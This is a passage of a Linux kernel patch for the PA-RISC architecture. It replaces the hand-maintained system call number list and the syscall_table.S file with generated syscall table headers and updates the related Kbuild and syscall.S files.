+
 checkbin:
 	@if test "$(cc-version)" -lt "0303"; then \
 		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 2013d63..6b66fb9 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -23,3 +23,6 @@ generic-y += user.h
 generic-y += vga.h
 generic-y += word-at-a-time.h
 generic-y += xor.h
+generic-y += syscall_table_32.h
+generic-y += syscall_table_64.h
+generic-y += syscall_table_c32.h
diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
index 286ef5a..04360d9 100644
--- a/arch/parisc/include/uapi/asm/Kbuild
+++ b/arch/parisc/include/uapi/asm/Kbuild
@@ -7,3 +7,5 @@ generic-y += kvm_para.h
 generic-y += param.h
 generic-y += poll.h
 generic-y += resource.h
+generic-y += unistd_32.h
+generic-y += unistd_64.h
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index f10d065..76e3a3b 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -2,374 +2,13 @@
 #ifndef _UAPI_ASM_PARISC_UNISTD_H_
 #define _UAPI_ASM_PARISC_UNISTD_H_
 
-/*
- * Linux system call numbers.
- *
- * Cary Coutant says that we should just use another syscall gateway
- * page to avoid clashing with the HPUX space, and I think he's right:
- * it will would keep a branch out of our syscall entry path, at the
- * very least.  If we decide to change it later, we can ``just'' tweak
- * the LINUX_GATEWAY_ADDR define at the bottom and make __NR_Linux be
- * 1024 or something.  Oh, and recompile libc. =)
- */
-
-#define __NR_Linux                0
-#define __NR_restart_syscall      (__NR_Linux + 0)
-#define __NR_exit                 (__NR_Linux + 1)
-#define __NR_fork                 (__NR_Linux + 2)
-#define __NR_read                 (__NR_Linux + 3)
-#define __NR_write                (__NR_Linux + 4)
-#define __NR_open                 (__NR_Linux + 5)
-#define __NR_close                (__NR_Linux + 6)
-#define __NR_waitpid              (__NR_Linux + 7)
-#define __NR_creat                (__NR_Linux + 8)
-#define __NR_link                 (__NR_Linux + 9)
-#define __NR_unlink              (__NR_Linux + 10)
-#define __NR_execve              (__NR_Linux + 11)
-#define __NR_chdir               (__NR_Linux + 12)
-#define __NR_time                (__NR_Linux + 13)
-#define __NR_mknod               (__NR_Linux + 14)
-#define __NR_chmod               (__NR_Linux + 15)
-#define __NR_lchown              (__NR_Linux + 16)
-#define __NR_socket              (__NR_Linux + 17)
-#define __NR_stat                (__NR_Linux + 18)
-#define __NR_lseek               (__NR_Linux + 19)
-#define __NR_getpid              (__NR_Linux + 20)
-#define __NR_mount               (__NR_Linux + 21)
-#define __NR_bind                (__NR_Linux + 22)
-#define __NR_setuid              (__NR_Linux + 23)
-#define __NR_getuid              (__NR_Linux + 24)
-#define __NR_stime               (__NR_Linux + 25)
-#define __NR_ptrace              (__NR_Linux + 26)
-#define __NR_alarm               (__NR_Linux + 27)
-#define __NR_fstat               (__NR_Linux + 28)
-#define __NR_pause               (__NR_Linux + 29)
-#define __NR_utime               (__NR_Linux + 30)
-#define __NR_connect             (__NR_Linux + 31)
-#define __NR_listen              (__NR_Linux + 32)
-#define __NR_access              (__NR_Linux + 33)
-#define __NR_nice                (__NR_Linux + 34)
-#define __NR_accept              (__NR_Linux + 35)
-#define __NR_sync                (__NR_Linux + 36)
-#define __NR_kill                (__NR_Linux + 37)
-#define __NR_rename              (__NR_Linux + 38)
-#define __NR_mkdir               (__NR_Linux + 39)
-#define __NR_rmdir               (__NR_Linux + 40)
-#define __NR_dup                 (__NR_Linux + 41)
-#define __NR_pipe                (__NR_Linux + 42)
-#define __NR_times               (__NR_Linux + 43)
-#define __NR_getsockname         (__NR_Linux + 44)
-#define __NR_brk                 (__NR_Linux + 45)
-#define __NR_setgid              (__NR_Linux + 46)
-#define __NR_getgid              (__NR_Linux + 47)
-#define __NR_signal              (__NR_Linux + 48)
-#define __NR_geteuid             (__NR_Linux + 49)
-#define __NR_getegid             (__NR_Linux + 50)
-#define __NR_acct                (__NR_Linux + 51)
-#define __NR_umount2             (__NR_Linux + 52)
-#define __NR_getpeername         (__NR_Linux + 53)
-#define __NR_ioctl               (__NR_Linux + 54)
-#define __NR_fcntl               (__NR_Linux + 55)
-#define __NR_socketpair          (__NR_Linux + 56)
-#define __NR_setpgid             (__NR_Linux + 57)
-#define __NR_send                (__NR_Linux + 58)
-#define __NR_uname               (__NR_Linux + 59)
-#define __NR_umask               (__NR_Linux + 60)
-#define __NR_chroot              (__NR_Linux + 61)
-#define __NR_ustat               (__NR_Linux + 62)
-#define __NR_dup2                (__NR_Linux + 63)
-#define __NR_getppid             (__NR_Linux + 64)
-#define __NR_getpgrp             (__NR_Linux + 65)
-#define __NR_setsid              (__NR_Linux + 66)
-#define __NR_pivot_root          (__NR_Linux + 67)
-#define __NR_sgetmask            (__NR_Linux + 68)
-#define __NR_ssetmask            (__NR_Linux + 69)
-#define __NR_setreuid            (__NR_Linux + 70)
-#define __NR_setregid            (__NR_Linux + 71)
-#define __NR_mincore             (__NR_Linux + 72)
-#define __NR_sigpending          (__NR_Linux + 73)
-#define __NR_sethostname         (__NR_Linux + 74)
-#define __NR_setrlimit           (__NR_Linux + 75)
-#define __NR_getrlimit           (__NR_Linux + 76)
-#define __NR_getrusage           (__NR_Linux + 77)
-#define __NR_gettimeofday        (__NR_Linux + 78)
-#define __NR_settimeofday        (__NR_Linux + 79)
-#define __NR_getgroups           (__NR_Linux + 80)
-#define __NR_setgroups           (__NR_Linux + 81)
-#define __NR_sendto              (__NR_Linux + 82)
-#define __NR_symlink             (__NR_Linux + 83)
-#define __NR_lstat               (__NR_Linux + 84)
-#define __NR_readlink            (__NR_Linux + 85)
-#define __NR_uselib              (__NR_Linux + 86)
-#define __NR_swapon              (__NR_Linux + 87)
-#define __NR_reboot              (__NR_Linux + 88)
-#define __NR_mmap2               (__NR_Linux + 89)
-#define __NR_mmap                (__NR_Linux + 90)
-#define __NR_munmap              (__NR_Linux + 91)
-#define __NR_truncate            (__NR_Linux + 92)
-#define __NR_ftruncate           (__NR_Linux + 93)
-#define __NR_fchmod              (__NR_Linux + 94)
-#define __NR_fchown              (__NR_Linux + 95)
-#define __NR_getpriority         (__NR_Linux + 96)
-#define __NR_setpriority         (__NR_Linux + 97)
-#define __NR_recv                (__NR_Linux + 98)
-#define __NR_statfs              (__NR_Linux + 99)
-#define __NR_fstatfs            (__NR_Linux + 100)
-#define __NR_stat64             (__NR_Linux + 101)
-/* #define __NR_socketcall         (__NR_Linux + 102) */
-#define __NR_syslog             (__NR_Linux + 103)
-#define __NR_setitimer          (__NR_Linux + 104)
-#define __NR_getitimer          (__NR_Linux + 105)
-#define __NR_capget             (__NR_Linux + 106)
-#define __NR_capset             (__NR_Linux + 107)
-#define __NR_pread64            (__NR_Linux + 108)
-#define __NR_pwrite64           (__NR_Linux + 109)
-#define __NR_getcwd             (__NR_Linux + 110)
-#define __NR_vhangup            (__NR_Linux + 111)
-#define __NR_fstat64            (__NR_Linux + 112)
-#define __NR_vfork              (__NR_Linux + 113)
-#define __NR_wait4              (__NR_Linux + 114)
-#define __NR_swapoff            (__NR_Linux + 115)
-#define __NR_sysinfo            (__NR_Linux + 116)
-#define __NR_shutdown           (__NR_Linux + 117)
-#define __NR_fsync              (__NR_Linux + 118)
-#define __NR_madvise            (__NR_Linux + 119)
-#define __NR_clone              (__NR_Linux + 120)
-#define __NR_setdomainname      (__NR_Linux + 121)
-#define __NR_sendfile           (__NR_Linux + 122)
-#define __NR_recvfrom           (__NR_Linux + 123)
-#define __NR_adjtimex           (__NR_Linux + 124)
-#define __NR_mprotect           (__NR_Linux + 125)
-#define __NR_sigprocmask        (__NR_Linux + 126)
-#define __NR_create_module      (__NR_Linux + 127) /* not used */
-#define __NR_init_module        (__NR_Linux + 128)
-#define __NR_delete_module      (__NR_Linux + 129)
-#define __NR_get_kernel_syms    (__NR_Linux + 130) /* not used */
-#define __NR_quotactl           (__NR_Linux + 131)
-#define __NR_getpgid            (__NR_Linux + 132)
-#define __NR_fchdir             (__NR_Linux + 133)
-#define __NR_bdflush            (__NR_Linux + 134)
-#define __NR_sysfs              (__NR_Linux + 135)
-#define __NR_personality        (__NR_Linux + 136)
-#define __NR_afs_syscall        (__NR_Linux + 137) /* not used */
-#define __NR_setfsuid           (__NR_Linux + 138)
-#define __NR_setfsgid           (__NR_Linux + 139)
-#define __NR__llseek            (__NR_Linux + 140)
-#define __NR_getdents           (__NR_Linux + 141)
-#define __NR__newselect         (__NR_Linux + 142)
-#define __NR_flock              (__NR_Linux + 143)
-#define __NR_msync              (__NR_Linux + 144)
-#define __NR_readv              (__NR_Linux + 145)
-#define __NR_writev             (__NR_Linux + 146)
-#define __NR_getsid             (__NR_Linux + 147)
-#define __NR_fdatasync          (__NR_Linux + 148)
-#define __NR__sysctl            (__NR_Linux + 149)
-#define __NR_mlock              (__NR_Linux + 150)
-#define __NR_munlock            (__NR_Linux + 151)
-#define __NR_mlockall           (__NR_Linux + 152)
-#define __NR_munlockall         (__NR_Linux + 153)
-#define __NR_sched_setparam             (__NR_Linux + 154)
-#define __NR_sched_getparam             (__NR_Linux + 155)
-#define __NR_sched_setscheduler         (__NR_Linux + 156)
-#define __NR_sched_getscheduler         (__NR_Linux + 157)
-#define __NR_sched_yield                (__NR_Linux + 158)
-#define __NR_sched_get_priority_max     (__NR_Linux + 159)
-#define __NR_sched_get_priority_min     (__NR_Linux + 160)
-#define __NR_sched_rr_get_interval      (__NR_Linux + 161)
-#define __NR_nanosleep          (__NR_Linux + 162)
-#define __NR_mremap             (__NR_Linux + 163)
-#define __NR_setresuid          (__NR_Linux + 164)
-#define __NR_getresuid          (__NR_Linux + 165)
-#define __NR_sigaltstack        (__NR_Linux + 166)
-#define __NR_query_module       (__NR_Linux + 167) /* not used */
-#define __NR_poll               (__NR_Linux + 168)
-#define __NR_nfsservctl         (__NR_Linux + 169) /* not used */
-#define __NR_setresgid          (__NR_Linux + 170)
-#define __NR_getresgid          (__NR_Linux + 171)
-#define __NR_prctl              (__NR_Linux + 172)
-#define __NR_rt_sigreturn       (__NR_Linux + 173)
-#define __NR_rt_sigaction       (__NR_Linux + 174)
-#define __NR_rt_sigprocmask     (__NR_Linux + 175)
-#define __NR_rt_sigpending      (__NR_Linux + 176)
-#define __NR_rt_sigtimedwait    (__NR_Linux + 177)
-#define __NR_rt_sigqueueinfo    (__NR_Linux + 178)
-#define __NR_rt_sigsuspend      (__NR_Linux + 179)
-#define __NR_chown              (__NR_Linux + 180)
-#define __NR_setsockopt         (__NR_Linux + 181)
-#define __NR_getsockopt         (__NR_Linux + 182)
-#define __NR_sendmsg            (__NR_Linux + 183)
-#define __NR_recvmsg            (__NR_Linux + 184)
-#define __NR_semop              (__NR_Linux + 185)
-#define __NR_semget             (__NR_Linux + 186)
-#define __NR_semctl             (__NR_Linux + 187)
-#define __NR_msgsnd             (__NR_Linux + 188)
-#define __NR_msgrcv             (__NR_Linux + 189)
-#define __NR_msgget             (__NR_Linux + 190)
-#define __NR_msgctl             (__NR_Linux + 191)
-#define __NR_shmat              (__NR_Linux + 192)
-#define __NR_shmdt              (__NR_Linux + 193)
-#define __NR_shmget             (__NR_Linux + 194)
-#define __NR_shmctl             (__NR_Linux + 195)
-#define __NR_getpmsg            (__NR_Linux + 196) /* not used */
-#define __NR_putpmsg            (__NR_Linux + 197) /* not used */
-#define __NR_lstat64            (__NR_Linux + 198)
-#define __NR_truncate64         (__NR_Linux + 199)
-#define __NR_ftruncate64        (__NR_Linux + 200)
-#define __NR_getdents64         (__NR_Linux + 201)
-#define __NR_fcntl64            (__NR_Linux + 202)
-#define __NR_attrctl            (__NR_Linux + 203) /* not used */
-#define __NR_acl_get            (__NR_Linux + 204) /* not used */
-#define __NR_acl_set            (__NR_Linux + 205) /* not used */
-#define __NR_gettid             (__NR_Linux + 206)
-#define __NR_readahead          (__NR_Linux + 207)
-#define __NR_tkill              (__NR_Linux + 208)
-#define __NR_sendfile64         (__NR_Linux + 209)
-#define __NR_futex              (__NR_Linux + 210)
-#define __NR_sched_setaffinity  (__NR_Linux + 211)
-#define __NR_sched_getaffinity  (__NR_Linux + 212)
-#define __NR_set_thread_area    (__NR_Linux + 213) /* not used */
-#define __NR_get_thread_area    (__NR_Linux + 214) /* not used */
-#define __NR_io_setup           (__NR_Linux + 215)
-#define __NR_io_destroy         (__NR_Linux + 216)
-#define __NR_io_getevents       (__NR_Linux + 217)
-#define __NR_io_submit          (__NR_Linux + 218)
-#define __NR_io_cancel          (__NR_Linux + 219)
-#define __NR_alloc_hugepages    (__NR_Linux + 220) /* not used */
-#define __NR_free_hugepages     (__NR_Linux + 221) /* not used */
-#define __NR_exit_group         (__NR_Linux + 222)
-#define __NR_lookup_dcookie     (__NR_Linux + 223)
-#define __NR_epoll_create       (__NR_Linux + 224)
-#define __NR_epoll_ctl          (__NR_Linux + 225)
-#define __NR_epoll_wait         (__NR_Linux + 226)
-#define __NR_remap_file_pages   (__NR_Linux + 227)
-#define __NR_semtimedop         (__NR_Linux + 228)
-#define __NR_mq_open            (__NR_Linux + 229)
-#define __NR_mq_unlink          (__NR_Linux + 230)
-#define __NR_mq_timedsend       (__NR_Linux + 231)
-#define __NR_mq_timedreceive    (__NR_Linux + 232)
-#define __NR_mq_notify          (__NR_Linux + 233)
-#define __NR_mq_getsetattr      (__NR_Linux + 234)
-#define __NR_waitid		(__NR_Linux + 235)
-#define __NR_fadvise64_64	(__NR_Linux + 236)
-#define __NR_set_tid_address	(__NR_Linux + 237)
-#define __NR_setxattr		(__NR_Linux + 238)
-#define __NR_lsetxattr		(__NR_Linux + 239)
-#define __NR_fsetxattr		(__NR_Linux + 240)
-#define __NR_getxattr		(__NR_Linux + 241)
-#define __NR_lgetxattr		(__NR_Linux + 242)
-#define __NR_fgetxattr		(__NR_Linux + 243)
-#define __NR_listxattr		(__NR_Linux + 244)
-#define __NR_llistxattr		(__NR_Linux + 245)
-#define __NR_flistxattr		(__NR_Linux + 246)
-#define __NR_removexattr	(__NR_Linux + 247)
-#define __NR_lremovexattr	(__NR_Linux + 248)
-#define __NR_fremovexattr	(__NR_Linux + 249)
-#define __NR_timer_create	(__NR_Linux + 250)
-#define __NR_timer_settime	(__NR_Linux + 251)
-#define __NR_timer_gettime	(__NR_Linux + 252)
-#define __NR_timer_getoverrun	(__NR_Linux + 253)
-#define __NR_timer_delete	(__NR_Linux + 254)
-#define __NR_clock_settime	(__NR_Linux + 255)
-#define __NR_clock_gettime	(__NR_Linux + 256)
-#define __NR_clock_getres	(__NR_Linux + 257)
-#define __NR_clock_nanosleep	(__NR_Linux + 258)
-#define __NR_tgkill		(__NR_Linux + 259)
-#define __NR_mbind		(__NR_Linux + 260)
-#define __NR_get_mempolicy	(__NR_Linux + 261)
-#define __NR_set_mempolicy	(__NR_Linux + 262)
-#define __NR_vserver		(__NR_Linux + 263) /* not used */
-#define __NR_add_key		(__NR_Linux + 264)
-#define __NR_request_key	(__NR_Linux + 265)
-#define __NR_keyctl		(__NR_Linux + 266)
-#define __NR_ioprio_set		(__NR_Linux + 267)
-#define __NR_ioprio_get		(__NR_Linux + 268)
-#define __NR_inotify_init	(__NR_Linux + 269)
-#define __NR_inotify_add_watch	(__NR_Linux + 270)
-#define __NR_inotify_rm_watch	(__NR_Linux + 271)
-#define __NR_migrate_pages	(__NR_Linux + 272)
-#define __NR_pselect6		(__NR_Linux + 273)
-#define __NR_ppoll		(__NR_Linux + 274)
-#define __NR_openat		(__NR_Linux + 275)
-#define __NR_mkdirat		(__NR_Linux + 276)
-#define __NR_mknodat		(__NR_Linux + 277)
-#define __NR_fchownat		(__NR_Linux + 278)
-#define __NR_futimesat		(__NR_Linux + 279)
-#define __NR_fstatat64		(__NR_Linux + 280)
-#define __NR_unlinkat		(__NR_Linux + 281)
-#define __NR_renameat		(__NR_Linux + 282)
-#define __NR_linkat		(__NR_Linux + 283)
-#define __NR_symlinkat		(__NR_Linux + 284)
-#define __NR_readlinkat		(__NR_Linux + 285)
-#define __NR_fchmodat		(__NR_Linux + 286)
-#define __NR_faccessat		(__NR_Linux + 287)
-#define __NR_unshare		(__NR_Linux + 288)
-#define __NR_set_robust_list	(__NR_Linux + 289)
-#define __NR_get_robust_list	(__NR_Linux + 290)
-#define __NR_splice		(__NR_Linux + 291)
-#define __NR_sync_file_range	(__NR_Linux + 292)
-#define __NR_tee		(__NR_Linux + 293)
-#define __NR_vmsplice		(__NR_Linux + 294)
-#define __NR_move_pages		(__NR_Linux + 295)
-#define __NR_getcpu		(__NR_Linux + 296)
-#define __NR_epoll_pwait	(__NR_Linux + 297)
-#define __NR_statfs64		(__NR_Linux + 298)
-#define __NR_fstatfs64		(__NR_Linux + 299)
-#define __NR_kexec_load		(__NR_Linux + 300)
-#define __NR_utimensat		(__NR_Linux + 301)
-#define __NR_signalfd		(__NR_Linux + 302)
-#define __NR_timerfd		(__NR_Linux + 303) /* not used */
-#define __NR_eventfd		(__NR_Linux + 304)
-#define __NR_fallocate		(__NR_Linux + 305)
-#define __NR_timerfd_create	(__NR_Linux + 306)
-#define __NR_timerfd_settime	(__NR_Linux + 307)
-#define __NR_timerfd_gettime	(__NR_Linux + 308)
-#define __NR_signalfd4		(__NR_Linux + 309)
-#define __NR_eventfd2		(__NR_Linux + 310)
-#define __NR_epoll_create1	(__NR_Linux + 311)
-#define __NR_dup3		(__NR_Linux + 312)
-#define __NR_pipe2		(__NR_Linux + 313)
-#define __NR_inotify_init1	(__NR_Linux + 314)
-#define __NR_preadv		(__NR_Linux + 315)
-#define __NR_pwritev		(__NR_Linux + 316)
-#define __NR_rt_tgsigqueueinfo	(__NR_Linux + 317)
-#define __NR_perf_event_open	(__NR_Linux + 318)
-#define __NR_recvmmsg		(__NR_Linux + 319)
-#define __NR_accept4		(__NR_Linux + 320)
-#define __NR_prlimit64		(__NR_Linux + 321)
-#define __NR_fanotify_init	(__NR_Linux + 322)
-#define __NR_fanotify_mark	(__NR_Linux + 323)
-#define __NR_clock_adjtime	(__NR_Linux + 324)
-#define __NR_name_to_handle_at	(__NR_Linux + 325)
-#define __NR_open_by_handle_at	(__NR_Linux + 326)
-#define __NR_syncfs		(__NR_Linux + 327)
-#define __NR_setns		(__NR_Linux + 328)
-#define __NR_sendmmsg		(__NR_Linux + 329)
-#define __NR_process_vm_readv	(__NR_Linux + 330)
-#define __NR_process_vm_writev	(__NR_Linux + 331)
-#define __NR_kcmp		(__NR_Linux + 332)
-#define __NR_finit_module	(__NR_Linux + 333)
-#define __NR_sched_setattr	(__NR_Linux + 334)
-#define __NR_sched_getattr	(__NR_Linux + 335)
-#define __NR_utimes		(__NR_Linux + 336)
-#define __NR_renameat2		(__NR_Linux + 337)
-#define __NR_seccomp		(__NR_Linux + 338)
-#define __NR_getrandom		(__NR_Linux + 339)
-#define __NR_memfd_create	(__NR_Linux + 340)
-#define __NR_bpf		(__NR_Linux + 341)
-#define __NR_execveat		(__NR_Linux + 342)
-#define __NR_membarrier		(__NR_Linux + 343)
-#define __NR_userfaultfd	(__NR_Linux + 344)
-#define __NR_mlock2		(__NR_Linux + 345)
-#define __NR_copy_file_range	(__NR_Linux + 346)
-#define __NR_preadv2		(__NR_Linux + 347)
-#define __NR_pwritev2		(__NR_Linux + 348)
-#define __NR_statx		(__NR_Linux + 349)
-#define __NR_io_pgetevents	(__NR_Linux + 350)
-
-#ifdef __KERNEL__
-#define __NR_syscalls           351
+#define __NR_Linux           0
+#ifdef CONFIG_64BIT
+#include <asm/unistd_64.h>
+#else
+#include <asm/unistd_32.h>
 #endif
 
-#define LINUX_GATEWAY_ADDR      0x100
+#define LINUX_GATEWAY_ADDR   0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f453997..2523b83 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -923,18 +923,10 @@ ENTRY(lws_table)
 END(lws_table)
 	/* End of lws table */
 
-	.align 8
-ENTRY(sys_call_table)
-	.export sys_call_table,data
-#include "syscall_table.S"
-END(sys_call_table)
-
+#include "syscall_table_32.S"
 #ifdef CONFIG_64BIT
-	.align 8
-ENTRY(sys_call_table64)
 #define SYSCALL_TABLE_64BIT
-#include "syscall_table.S"
-END(sys_call_table64)
+#include "syscall_table_64.S"
 #endif
 
 	/*
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
deleted file mode 100644
index fe3f2a4..0000000
--- a/arch/parisc/kernel/syscall_table.S
+++ /dev/null
@@ -1,459 +0,0 @@
-/*    System Call Table
- *
- *    Copyright (C) 1999-2004 Matthew Wilcox <willy at parisc-linux.org>
- *    Copyright (C) 2000-2001 John Marvin <jsm at parisc-linux.org>
- *    Copyright (C) 2000 Alan Modra <amodra at parisc-linux.org>
- *    Copyright (C) 2000-2003 Paul Bame <bame at parisc-linux.org>
- *    Copyright (C) 2000 Philipp Rumpf <prumpf with tux.org>
- *    Copyright (C) 2000 Michael Ang <mang with subcarrier.org>
- *    Copyright (C) 2000 David Huggins-Daines <dhd with pobox.org>
- *    Copyright (C) 2000 Grant Grundler <grundler at parisc-linux.org>
- *    Copyright (C) 2001 Richard Hirst <rhirst with parisc-linux.org>
- *    Copyright (C) 2001-2002 Ryan Bradetich <rbrad at parisc-linux.org>
- *    Copyright (C) 2001-2007 Helge Deller <deller at parisc-linux.org>
- *    Copyright (C) 2000-2001 Thomas Bogendoerfer <tsbogend at parisc-linux.org>
- *    Copyright (C) 2002 Randolph Chung <tausq with parisc-linux.org>
- *    Copyright (C) 2005-2006 Kyle McMartin <kyle at parisc-linux.org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
-/* Use ENTRY_SAME for 32-bit syscalls which are the same on wide and
- * narrow palinux.  Use ENTRY_DIFF for those where a 32-bit specific
- * implementation is required on wide palinux.  Use ENTRY_COMP where
- * the compatibility layer has a useful 32-bit implementation.
- */
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys32_##_name_
-#define ENTRY_UHOH(_name_) .dword sys32_##unimplemented
-#define ENTRY_OURS(_name_) .dword parisc_##_name_
-#define ENTRY_COMP(_name_) .dword compat_sys_##_name_
-#elif defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys_##_name_
-#define ENTRY_UHOH(_name_) .dword sys_##_name_
-#define ENTRY_OURS(_name_) .dword sys_##_name_
-#define ENTRY_COMP(_name_) .dword sys_##_name_
-#else
-#define ENTRY_SAME(_name_) .word sys_##_name_
-#define ENTRY_DIFF(_name_) .word sys_##_name_
-#define ENTRY_UHOH(_name_) .word sys_##_name_
-#define ENTRY_OURS(_name_) .word parisc_##_name_
-#define ENTRY_COMP(_name_) .word sys_##_name_
-#endif
-
-90:	ENTRY_SAME(restart_syscall)	/* 0 */
-91:	ENTRY_SAME(exit)
-	ENTRY_SAME(fork_wrapper)
-	ENTRY_SAME(read)
-	ENTRY_SAME(write)
-	ENTRY_COMP(open)		/* 5 */
-	ENTRY_SAME(close)
-	ENTRY_SAME(waitpid)
-	ENTRY_SAME(creat)
-	ENTRY_SAME(link)
-	ENTRY_SAME(unlink)		/* 10 */
-	ENTRY_COMP(execve)
-	ENTRY_SAME(chdir)
-	/* See comments in kernel/time.c!!! Maybe we don't need this? */
-	ENTRY_COMP(time)
-	ENTRY_SAME(mknod)
-	ENTRY_SAME(chmod)		/* 15 */
-	ENTRY_SAME(lchown)
-	ENTRY_SAME(socket)
-	/* struct stat is MAYBE identical wide and narrow ?? */
-	ENTRY_COMP(newstat)
-	ENTRY_COMP(lseek)
-	ENTRY_SAME(getpid)		/* 20 */
-	/* the 'void * data' parameter may need re-packing in wide */
-	ENTRY_COMP(mount)
-	/* concerned about struct sockaddr in wide/narrow */
-	/* ---> I think sockaddr is OK unless the compiler packs the struct */
-	/*      differently to align the char array */
-	ENTRY_SAME(bind)
-	ENTRY_SAME(setuid)
-	ENTRY_SAME(getuid)
-	ENTRY_COMP(stime)		/* 25 */
-	ENTRY_COMP(ptrace)
-	ENTRY_SAME(alarm)
-	/* see stat comment */
-	ENTRY_COMP(newfstat)
-	ENTRY_SAME(pause)
-	/* struct utimbuf uses time_t which might vary */
-	ENTRY_COMP(utime)		/* 30 */
-	/* struct sockaddr... */
-	ENTRY_SAME(connect)
-	ENTRY_SAME(listen)
-	ENTRY_SAME(access)
-	ENTRY_SAME(nice)
-	/* struct sockaddr... */
-	ENTRY_SAME(accept)		/* 35 */
-	ENTRY_SAME(sync)
-	ENTRY_SAME(kill)
-	ENTRY_SAME(rename)
-	ENTRY_SAME(mkdir)
-	ENTRY_SAME(rmdir)		/* 40 */
-	ENTRY_SAME(dup)
-	ENTRY_SAME(pipe)
-	ENTRY_COMP(times)
-	/* struct sockaddr... */
-	ENTRY_SAME(getsockname)
-	/* it seems possible brk() could return a >4G pointer... */
-	ENTRY_SAME(brk)			/* 45 */
-	ENTRY_SAME(setgid)
-	ENTRY_SAME(getgid)
-	ENTRY_SAME(signal)
-	ENTRY_SAME(geteuid)
-	ENTRY_SAME(getegid)		/* 50 */
-	ENTRY_SAME(acct)
-	ENTRY_SAME(umount)
-	/* struct sockaddr... */
-	ENTRY_SAME(getpeername)
-	ENTRY_COMP(ioctl)
-	ENTRY_COMP(fcntl)		/* 55 */
-	ENTRY_SAME(socketpair)
-	ENTRY_SAME(setpgid)
-	ENTRY_SAME(send)
-	ENTRY_SAME(newuname)
-	ENTRY_SAME(umask)		/* 60 */
-	ENTRY_SAME(chroot)
-	ENTRY_COMP(ustat)
-	ENTRY_SAME(dup2)
-	ENTRY_SAME(getppid)
-	ENTRY_SAME(getpgrp)		/* 65 */
-	ENTRY_SAME(setsid)
-	ENTRY_SAME(pivot_root)
-	/* I don't like this */
-	ENTRY_UHOH(sgetmask)
-	ENTRY_UHOH(ssetmask)
-	ENTRY_SAME(setreuid)		/* 70 */
-	ENTRY_SAME(setregid)
-	ENTRY_SAME(mincore)
-	ENTRY_COMP(sigpending)
-	ENTRY_SAME(sethostname)
-	/* Following 3 have linux-common-code structs containing longs -( */
-	ENTRY_COMP(setrlimit)		/* 75 */
-	ENTRY_COMP(getrlimit)
-	ENTRY_COMP(getrusage)
-	/* struct timeval and timezone are maybe?? consistent wide and narrow */
-	ENTRY_COMP(gettimeofday)
-	ENTRY_COMP(settimeofday)
-	ENTRY_SAME(getgroups)		/* 80 */
-	ENTRY_SAME(setgroups)
-	/* struct socketaddr... */
-	ENTRY_SAME(sendto)
-	ENTRY_SAME(symlink)
-	/* see stat comment */
-	ENTRY_COMP(newlstat)
-	ENTRY_SAME(readlink)		/* 85 */
-	ENTRY_SAME(ni_syscall)	/* was uselib */
-	ENTRY_SAME(swapon)
-	ENTRY_SAME(reboot)
-	ENTRY_SAME(mmap2)
-	ENTRY_SAME(mmap)		/* 90 */
-	ENTRY_SAME(munmap)
-	ENTRY_COMP(truncate)
-	ENTRY_COMP(ftruncate)
-	ENTRY_SAME(fchmod)
-	ENTRY_SAME(fchown)		/* 95 */
-	ENTRY_SAME(getpriority)
-	ENTRY_SAME(setpriority)
-	ENTRY_SAME(recv)
-	ENTRY_COMP(statfs)
-	ENTRY_COMP(fstatfs)		/* 100 */
-	ENTRY_SAME(stat64)
-	ENTRY_SAME(ni_syscall)	/* was socketcall */
-	ENTRY_SAME(syslog)
-	/* even though manpage says struct timeval contains longs, ours has
-	 * time_t and suseconds_t -- both of which are safe wide/narrow */
-	ENTRY_COMP(setitimer)
-	ENTRY_COMP(getitimer)		/* 105 */
-	ENTRY_SAME(capget)
-	ENTRY_SAME(capset)
-	ENTRY_OURS(pread64)
-	ENTRY_OURS(pwrite64)
-	ENTRY_SAME(getcwd)		/* 110 */
-	ENTRY_SAME(vhangup)
-	ENTRY_SAME(fstat64)
-	ENTRY_SAME(vfork_wrapper)
-	/* struct rusage contains longs... */
-	ENTRY_COMP(wait4)
-	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_COMP(sysinfo)
-	ENTRY_SAME(shutdown)
-	ENTRY_SAME(fsync)
-	ENTRY_SAME(madvise)
-	ENTRY_SAME(clone_wrapper)	/* 120 */
-	ENTRY_SAME(setdomainname)
-	ENTRY_COMP(sendfile)
-	/* struct sockaddr... */
-	ENTRY_SAME(recvfrom)
-	/* struct timex contains longs */
-	ENTRY_COMP(adjtimex)
-	ENTRY_SAME(mprotect)		/* 125 */
-	/* old_sigset_t forced to 32 bits.  Beware glibc sigset_t */
-	ENTRY_COMP(sigprocmask)
-	ENTRY_SAME(ni_syscall)	/* create_module */
-	ENTRY_SAME(init_module)
-	ENTRY_SAME(delete_module)
-	ENTRY_SAME(ni_syscall)		/* 130: get_kernel_syms */
-	/* time_t inside struct dqblk */
-	ENTRY_SAME(quotactl)
